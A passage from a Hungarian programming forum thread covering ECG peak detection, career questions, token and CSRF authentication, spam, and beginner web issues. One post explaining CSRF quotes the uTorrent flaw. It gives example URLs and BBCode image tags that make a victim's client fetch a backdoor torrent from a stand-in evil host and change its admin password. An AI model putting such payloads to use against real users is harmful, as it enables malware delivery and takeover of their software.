-
IT café
Új hozzászólás Aktív témák
-
opr
veterán
válasz #78600448 #12699 üzenetére
Tehat ha jol ertem, akkor sajat magad altal tervezett es epitett automata emesztogodoraso-droid vezerlesehez szeretnel alkalmazast irni, ami soros porton kommunikal.
C/C++/Assembly nyelveket tudom ajanlani.
Ha szeretnel neki valami user-friendly GUI-t, akkor meg a QT C++-t celozd meg."Programozó vagyok. Ez azt jelenti, hogy amit leírok, megtörténik." :D “The only valid measurement of code quality is What-The-F**ks/Minute.” - Robert Martin
-
V.Stryker
nagyúr
Sziasztok,
Feltételezem, hogy ebben a topikban többen dolgoznak programozóként, így főként tőlük is kérdezném, hogy ebben a szakmában mennyire ragaszkodnak a munkaadók a papíros végzettséghez? Sok sulinál látom, hogy ilyen mindenhol használható OKJ papírt SEM ad, viszont tudást igen. Ez ténylegesen elegendő lenne ebben a szakmában? Nekem is több ismerősöm van, akinek nincs papírja, de csinálja...
Organic Maps - ingyenes, offline navi iOS-re és Androidra.
-
martonx
veterán
válasz V.Stryker #12703 üzenetére
Általánosságban egy felsőfokú végzettséget azért el szoktak várni, de azt már nem, hogy az célirányos is legyen. Azaz pl. egyetemi diplomás biológusként simán dolgozhatsz programozóként, de 8 általánossal ritkán jutsz túl már a legelső HR-es szűrőjén is.
Én kérek elnézést!
-
MATEO6600
őstag
Üdv!
Egy technikai kérdésem lenne:
Adott egy hosszú EKG jel, ahol peakdetectet hajtottam végre.
Gyakorlatilag tökéletesen sikerül is, azonban, ha beadok egy másik jelet, és azon hajtom végre az algoritmust, elhasal. Át kell paramétereznem, és akkor ugyanúgy jó eredményt kapok.
Itt jön a kérdés: milyen programozási módszerrel lehetne kiküszöbölni, hogy ne kelljen minden új inputnál kézileg új paramétert beadnom?
Én valami AI/Machine Learning technikára gondoltam, de nem tudom pontosan milyen lenne hasznos. -
opr
veterán
válasz MATEO6600 #12707 üzenetére
Ha a jel EKG szeru, akkor nekem viszonylag fajdalommentes megoldasnak tunik az adatok alapjan szamolni egy atlagos erteket felfele es lefele is, (ha sok az adat, valami mintavetelt hasznalni, vannak erre okossagok, talan meg ingyenes/open source lib-ek is) es ami a felett vagy alatt van x% tureshatarral megkuldve, az peak.
Es akkor barmilyen inputon mukodik a cucc, bar az init lassabb lesz, mint most. Igy valtoztathato parametered csak a tolerancia lesz, de az meg mar annyira nem tunik nehezen belohetonek.[ Szerkesztve ]
"Programozó vagyok. Ez azt jelenti, hogy amit leírok, megtörténik." :D “The only valid measurement of code quality is What-The-F**ks/Minute.” - Robert Martin
-
opr
veterán
válasz MATEO6600 #12709 üzenetére
Hmmmm, fura. Azt gondolna az ember, hogy egy ~barmilyen EKG sima statisztikai modszerekkel elemezheto, de ezek szerint nem ennyire trivialis.
"Programozó vagyok. Ez azt jelenti, hogy amit leírok, megtörténik." :D “The only valid measurement of code quality is What-The-F**ks/Minute.” - Robert Martin
-
MATEO6600
őstag
Én is ezt gondoltam
Egészen jól kezelhető, kivéve a problémás részeket. Na de épp azok az érdekesek...De egyébként ez egy általánosan kiterjeszthető probléma is:
Adott egy detektáló algoritmus, ami bizonyos inputokon jól működik, adott paraméterekkel.
Azonban jelentősen eltérő inputra jelentősen eltérő paraméterekkel ad megfelelő eredményt.
Kérdés, hogy akkor hogy paraméterezze az ember az algoritmust? Mivel túl nagy a szórás az inputok között, ezért nem létezik "joker", mindenre jó eredményt produkáló paraméterkészlet. Véleményem szerint ilyenkor jönne be az AI a képbe, csak nem tudom pontosan milyen téren keresgéljek. Genetikus algoritmussal már próbálkoztam, működik, de nem adot elég robosztus eredményt. -
-
kovisoft
őstag
válasz MATEO6600 #12707 üzenetére
Csak egy ötlet: az egyenetlen (de amúgy kváziperiodikus) jelet ki lehet simítani úgy, hogy valamilyen diszkrét fourier transzformációt ráeresztve kivesszük az alacsony frekvenciás komponenseket, majd inverz fourier transzformációval visszalakítjuk. Lehet, hogy ez már önmagában is eleget simít ahhoz, hogy működjön a peak detection algoritmusod.
-
kovisoft
őstag
válasz MATEO6600 #12715 üzenetére
Még néhány ötlet, bár valószínűleg már ezekre is gondoltál már:
(1) Amplitúdó tengelyen normalizáció, hogy a maximális kitérés mindig ugyanakkora legyen (persze csak a csúcsok helyének meghatározásához).
(2) Időtengelyen (ha a peak detection algoritmusod valamilyen ablakmérettel dolgozik): szintén fourier transzformációval meghatározni a karakterisztikus periódushosszt, és ehhez igazítani az ablakméretet.
(3) MP3 konverzióhoz hasonlóan szeletekre osztani az idősort, és egy-egy szeleten belül (naná hogy szintén fourier transzformációval ) frekvencia-összetevőkre bontani a mintát, a kis amplitúdójú összetevőket kihajítani, a maradékból visszaállított mintában talán könnyebb csúcsokat keresni.
-
kobe24
tag
válasz MATEO6600 #12717 üzenetére
Sziasztok.
Abban kérném a segítségeteket, hogy tudnátok-e olyan feladatot/problémát mondani, amivel jól lehet reprezentálni a soros-párhuzamos feldolgozás közötti sebességkülönbséget? Valami érdekes feladatot próbálok a témában találni, de eddig nem sok minden jutott eszembe. Köszönöm a segítségeteket. -
#68216320
törölt tag
Sziasztok. Módszertani segítségre lenne szükségem token alapú authentikációhoz.
Szeretnék egy saját programba user login részt csinálni.
Hogyan kell ezt megvalósítani?Arra gondoltam, hogy lenne egy User object és egy Auth object.
A User tartalmazná a név, login, születés, stb. adatokat
Az Auth tartalmazná a jelszó, token-string adatokat.Igazából a probléma az, hogy nem tudom miként működik a token létrehozás és ellnörzés.
Arra gondoltam, hogy belépéskor, ha a jelszó valid, akkor generálnék egy token-t és ezt tárolnám az object-ben.
Aztán minden műveletnél elküldeném a kéréssel együtt és ellenőrizném, hogy rendben van-e és mehet-e a művelet.Nagyon melléfogás így? Hogyan kellene működni egy ilyen rendszernek? Egyáltalán a token csak egy unique string vagy van valami komplexebb szerkezete?
[ Szerkesztve ]
-
sztanozs
veterán
válasz #68216320 #12728 üzenetére
Nézd meg, hogy működik egy ilyen keretrendszer (pl OAuth, OpenID, ...) és próbáld meg implementálni.
JOGI NYILATKOZAT: A bejegyzéseim és hozzászólásaim a személyes véleményemet tükrözik; ezek nem tekinthetők a munkáltatóm hivatalos állásfoglalásának...
-
bandi0000
nagyúr
válasz #68216320 #12730 üzenetére
Nem akarlak elkeseríteni de nem
Én már pár hete küzdök vele, de nem nagyon jövök rá a jó megoldásra, mert a vége mindig az, hogy ha ellopják a tokent, akkor baj van
Ha már úgy is feljött akkor hátha tud valaki mondani nekem okosat
Én is alapjába JWT-t használok, de azt szeretném, ha a felhasználónak nem kellene bejelentkeznie megint ha aktívan használja az oldalt, erre gondoltam, hogy minden kérésnél kap új tokent, vagy szebb lenne figyelni kliensen, hogy ha lejárt a token, akkor már a refresh tokennel kér egy új access tokent...
De itt megint az a baj, hogy ha kikerül valamelyik token, akkor gond van, ajánlották még a CSRF/XSRF tokent, erről mi a véleményetek? Mert ennek is utána jártam de nem áll össze a kép, hogy miért lenne biztonságosabb
Vagy ha teljesen más a megoldás, akkor mit ajánlanátok?
Xbox One: bandymnc
-
sztanozs
veterán
válasz bandi0000 #12731 üzenetére
A CSRF védelem lényege, hogy minden hívásnál random (vagy csak nagyon rövid ideig - egy oldal életciklusáig - él). A tokent nem cookie-ban vagy más lokális store-ban tároljuk, hanem a lap kódjában kerül eltárolásban (legtöbbször hidden form field-ben, mert lekérésnél vissza kell adni a szervernek). A védelem lényege az, hogy a felhasználó nevében nem lehet olyan kérést indítani, aminek a "forrása" nem a kérdéses weboldal.
Illetve a fenti megoldás a "secure" mód - de ez elcseszi a vissza-gomb működését ("CSRF Failure"-t hibát generál), legtöbbször - alacsonyabb biztonsági szinthez, session-élettartamú CSRF-tokent generálnak.
Ennek a védelemnek egyébként az a feltétele, hogy atámadó ne tudja megszerezni a session/csrf token-t (azaz ne legyen az alkalmazásban XSS sebezhetőség - vagy az alkalmazás csrf token segítségével ezonosítsa a felhasználót ne csak session cookie és/vagy kliens ip alapján).
Jó példa erre (wikiből) az alábbi uTorrent sebezhetőség:
Torrent letöltés hozzáadása:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
uTorrent administrator password megváltoztatása
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladminCSRF támadó kód simán kivitelezhető pl egy IMG tag hozzáadásával, ami a sebezhető címre mutat (BBCode):
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
vagy ide a PH-ra:[IMG:http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent][/IMG]
[ Szerkesztve ]
JOGI NYILATKOZAT: A bejegyzéseim és hozzászólásaim a személyes véleményemet tükrözik; ezek nem tekinthetők a munkáltatóm hivatalos állásfoglalásának...
-
bandi0000
nagyúr
válasz sztanozs #12732 üzenetére
és van értelme a kettőt, tehát a JWT-t és a CSRF-et együtt használni? tehát a jwt menne localstorage-ba és headerbe kérésenként
A csrf mrg passz, mert a legtöbb példába együtt volt a felület a háttérkóddal
Az én esetemben egy php rest backend és angular frontend lenne, php ból csak ugye a konkrét adatokat juttatom el a klienshez json formátumban
Xbox One: bandymnc
-
sztanozs
veterán
válasz bandi0000 #12733 üzenetére
Mindegy, hogy session-id-t használsz magában, vagy CSRF-et is külön - ha a session id nem cookie-ban megy, hanem form fieldben. Viszont ha Cookie alapú session kezelésed van, akkor kell GET/POST paraméter alapú CSRF token is.
Általánosságban viszont CSRF-védelem csak azokhoz az erőforrásokhoz kell, amelyek változtatnak szerveroldali állapoton (pl logon/logoff, konfig/erőforrás változtatás, tranzakció, create/update/delete) Kizárólag view request-ekhez nem kell CSRF token.
[ Szerkesztve ]
JOGI NYILATKOZAT: A bejegyzéseim és hozzászólásaim a személyes véleményemet tükrözik; ezek nem tekinthetők a munkáltatóm hivatalos állásfoglalásának...
-
bandi0000
nagyúr
válasz sztanozs #12734 üzenetére
Köszönöm, még1 kérdés aztán nem fárasztalak...
Tehát akkor,ha jól értem a CSRF és a JWT külön dolgokra jó
Tehát ha én azt szeretném, hogy sose jelentkezzen ki a felhasználó látszólag, akkor JWT acces és refresh token kell pl, ha lejárt az access token, akkor kér a háttérben egy új access tokent a refresh tokennel, JWT a felhasználó azonosítására kell nekem
De még kelleni fog egy CSRF token, amit pl első bejelentkezésnél megkap, és amikor pl egy törlést akar csinálni, akkor ezt visszajuttatja a szerverre, aki ellenőrzés után végrehajtja a törlést, és küld egy új CSRF tokent
Nem lehet a kettőt egyesíteni? Vagy ezt mindig ilyen (látszólag) bonyolultan oldják meg?
Xbox One: bandymnc
-
wwhy
veterán
Srácok, egy kis segítséget kérek, előrebocsátva, hogy programozáshoz (html-en kívül) egyáltalán nem értek.
Adott egy sw, ami legálisan lett megvéve, X éve, de anno még a kőkorszakban készült (ha jól tudom 2005), és nem támogatja a HD/fullHD kijelzőket - névjegye szerint: képernyő: 640x480 - így azokon bolhasz@r méretben jelenik meg. Kérdésem az lenne, hogy forráskód nélkül - a fejlesztő cég/emberke/team gyakorlatilag már nem létezik - lehetséges-e át/- újraírni valahogy ezt a részét a programnak?
Egy másik furcsasága, hogy kizárólag a kijelző közepén terpeszkedik, nem lehet onnan elhúzni sehová, de ez W10 alatt másik asztalon nem olyan vészes probléma, de a felbontás viszont az; fullHD 13-as laptopon kellene használni ... Köszönöm a segítséget.[ Szerkesztve ]
ELADÓ <<narancs Honor Magic5 Ultimate>> <<Újszerű, doboz, minden kellék>>
-
Fagyi
aktív tag
Sziasztok!
Lehet, hogy nem jó helyen járok, ha mégsem ide tartozik, akkor szívesen venném hol tudnak ebben a kérdésben segíteni.
A weboldalamon (szolgáltatói, nem saját nincs hozzáférésem, azt hiszem) Roundcube levelező kiszolgálót használnak. Megtalált egy spam gyáros weboldal, igaz csak hirdetésekkel, de nekem nagyon zavaró, hogy időnként 20-30 spam reklám jön.
Hogy tudnám jól beállítani a szűrőt, hogy ez ne történjen meg. A gmailre is van szinkronizálva, de a céges méleket inkább innen szeretem kezelni.
A feladó mindig random, ha leiratkozom akkor is jönnek ugyanazok a tartalmú mélek.
??Köszönöm a választ!
Üdv
fagyi
https://logout.hu/cikk/zyxel_nas326/ Nexbox A95x + IPTV
-
sztanozs
veterán
ha leiratkozom akkor is jönnek ugyanazok a tartalmú mélek
A leiratkozás (főleg az ilyen intruzív küldőknél), csak azt a célt szolgálja, hogy leellenőrizzék, hogy valaki olvassa is a postafiókot - valójában ez nekik csak megerősítés, hogy jó helyre küldenek leveleketJOGI NYILATKOZAT: A bejegyzéseim és hozzászólásaim a személyes véleményemet tükrözik; ezek nem tekinthetők a munkáltatóm hivatalos állásfoglalásának...
-
HI-FI
tag
Üdv!
Ezt az algoritmust szeretném leírni valamilyen progremnyelv segítségével, de a negyedik sorban lévő for ciklussal gondom akadt. Tudna valaki esetleg segítni, hogy az hogyan lehetne megvalósítani?
-
Tigrismacko
csendes tag
Sziasztok!
Előre jelezni szeretném, hogy minimális programozási tudásom van, az is inkább csak autodidakta módon megtanult.
Van egy webtárhelyem ahol magam szórakozására szoktam weblapokat feltelepiteni. CMS rendszrerek, többnyire. Most egy olyan problémába futottam, hogy a gépen lévő szerverre fel tudok telepíteni egy rendszert, de a webtárhelyen nem. 500-as hibát ír ki. A tarhely azt írta a kérdésemre, hogy a .htaccess fájt kell atalakitani hozzá. Ennek a tartalma számomra ismeretlen, mármint a szerkesztése. Nem tudom, nem értem a benne lévő parancsokat. Ha ezt törlöm, a telepítés elindul, de nem lesz jó a telepítés. Pár sor van benne, de hogy abban mit és hogyan kell át alakítani, nem tudom. Ebben valaki tud segíteni? Akár privátban is, ha itt ez nagyon kis iskolás téma
Előre is köszönöm
Üdv, Csaba -
I02S3F
őstag
Sziasztok! Épp PHP-t tanulok és az a kérdés jutott az eszembe, hogy a foreach-el bejárjuk a tömb elemeit. És elképzeltem, hogy egyik elem után halad a kurzorom a másik elemre, minthacsak a most gépelt szöveg betűi között navigálnék egyik szomszédos betűről a másikra.
Az a kérdésem, hogy a számítógépen belül mi a háttere ennek a mozgásnak? Mitől van a változás a gépen belül? Leginkább a hardver oldali magyarázat érdekelne.
Amit én hozzátudok tenni, hogy a CPU-ban lévő kvarckristály ciklusos rezgése végez frissítést a gépen tárolt adatokon.
Lehet hülyeséget írok. Nem tudom. Minek olvasssak utána, ami közelebb visz a témához?
-
Új hozzászólás Aktív témák
● olvasd el a téma összefoglalót!
- Realme GT Master Edition - mestermunka
- Hardcore café
- Ukrajnai háború
- Facebook és Messenger
- Elektromos (hálózati és akkus) kéziszerszámok, tapasztalatok/vásárlás
- Nvidia GPU-k jövője - amit tudni vélünk
- Formula-1
- Milyen belső merevlemezt vegyek?
- Call of Duty: Black Ops 6
- Politika
- További aktív témák...
Állásajánlatok
Cég: Ozeki Kft.
Város: Debrecen